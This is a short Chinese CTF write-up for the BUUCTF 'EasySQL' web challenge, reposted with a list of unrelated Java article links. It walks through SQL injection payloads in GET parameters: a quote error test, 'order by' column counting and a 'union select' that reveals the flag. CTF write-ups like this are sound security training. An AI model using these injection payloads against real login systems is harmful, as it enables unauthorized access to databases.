Buuctf-Web-[极客大挑战 2019]EasySQL

前言

刷题网址:https://buuoj.cn/challenges

首先在网页测试输入 admin, admin,如下图,发现是GET传输

Buuctf-Web-[极客大挑战 2019]EasySQL

然后在后面输入一个 ',之后发现报错,如下图。

payload是: ?username=admin&password=admin'

Buuctf-Web-[极客大挑战 2019]EasySQL

payload是: ?username=admin&password=admin' order by 5%23

因为是GET传参,所以 #编码之后是 %23,如下图

Buuctf-Web-[极客大挑战 2019]EasySQL

经过测试,发现是有三个字段的,如下图

payload是: ?username=admin&password=admin' order by 3

Buuctf-Web-[极客大挑战 2019]EasySQL

但是要查3个字段的时候发现flag直接出来了,如下图

payload是: ?username=admin&password=admin' union select 1,2,3%23

Buuctf-Web-[极客大挑战 2019]EasySQL

Original: https://www.cnblogs.com/takagisan/p/16261616.html
Author: 御七彩虹猫
Title: Buuctf-Web-[极客大挑战 2019]EasySQL

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/607682/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Spring Boot 启动加载数据 CommandLineRunner

    实际应用中,我们会有在项目服务启动的时候就去加载一些数据或做一些事情这样的需求。为了解决这样的问题,Spring Boot 为我们提供了一个方法,通过实现接口 CommandLin…

    Java 2023年5月30日
    090
  • 共读《redis设计与实现》-单机(一)

    上一章我们讲了 redis 基本类型的 数据结构 和 对&#x…

    Java 2023年6月7日
    0100
  • springboot访问静态文件直接通过url

    application.yml 加入: spring: thymeleaf: prefix: classpath:/templates/ suffix: .html mode: H…

    Java 2023年5月30日
    057
  • Spring事务调用类自己方法失效解决办法和原因

    正常情况下,我们都是在controller里调用service里的方法,这个方法如果需要加事务,就在方法上加上@Transactional,这样是没问题的,事务会生效。 可是如果像…

    Java 2023年5月30日
    081
  • 吴军《浪潮之巅》阅读随笔(二)信息产业的规律性

    在这本书上册的最后一章《信息产业的规律性》中,有几个问题让我很感兴趣。 在信息科技某个领域发展成熟之后,一般在全球容不下三个以上的主要竞争者,这个行业一定有一个老大、是这个行业的主…

    Java 2023年6月15日
    074
  • JDK源码分析实战系列-ThreadLocal

    公众号原文链接* 总览 ThreadLocal提供了线程局部变量的解决方案。 我们知道成员变量在多线程下是不安全的,而局部变量的生命周期又取决于变量定义的范围。那么有没有一个变量定…

    Java 2023年6月13日
    061
  • TortoiseGit的下载以及配置

    TortoiseGit 人称 _小乌龟插件_是一个来源的版本控制客户端,和 git功能类似, 不过相对于git支持界面操作. TortoiseGit下载地址: 点我下载 当前稳定版…

    Java 2023年6月9日
    087
  • JDBC概述

    JDBC概述 JDBC(Java DataBase Connectivity),它是一种用于执行 SQL语句的 JavaAPI。通过使用JDBC就可以使用 相同的API访问 不同的…

    Java 2023年6月9日
    081
  • Java中的Optional

    在我们日常的开发中,我们经常会遇到 NullPointerException。如何才能优雅的处理NPE?这里告诉大家一个较为流行的方法 java.util.Optional 使用O…

    Java 2023年6月7日
    072
  • python圆周率计算(带进度条)

    3.波尔文四次迭代式 这个公式由乔纳森·波尔文和彼得·波尔文于1985年发表的。 bailey-borwein-plouffe算法 这个公式简称BBP公式,由David Baile…

    Java 2023年6月6日
    0115
  • 搭建分布式事务组件 seata 的Server 端和Client 端详解(小白都能看懂)

    一,server 端的存储模式为:Server 端 存 储 模 式 (store-mode) 支 持 三 种 :file: ( 默 认 ) 单 机 模 式 , 全 局 事 务 会 …

    Java 2023年6月14日
    094
  • 使用ocupload和POI一键上传Excel并解析导入数据库

    使用的工具如下: JQuery ocupload jquery.ocupload-1.1.2.js Apache POI poi-3.9.jar 如果是Maven项目添加依赖如下:…

    Java 2023年6月5日
    0113
  • Java 图片裁剪,截取

    <span class="hljs-tag"><<span class="hljs-name">depende…

    Java 2023年6月7日
    089
  • 52类110个主流的Java框架

    上次写了一篇讲 Java 工具的文章。 有读者看完在微信问我,能不能总结一个更全的 Java 主流框架? 我本以为整理这个没多难,后来一边整理一边感觉越来越多…&#82…

    Java 2023年6月7日
    071
  • Java 字符串格式化和工具类使用

    前言 我们在做项目时候经常需要对字符串进行处理,判断,操作,所以我就总结了一下 java字符串一些常用操作,和推荐比较好用我在自用的工具类,毕竟有轮子我们自己就不用重复去写了,提供…

    Java 2023年6月13日
    091
  • 【设计模式】Java设计模式-桥接模式

    【设计模式】Java设计模式 – 桥接模式 😄 不断学习才是王道🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆原创作品,更多关注我CSDN: 一个…

    Java 2023年6月16日
    094
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球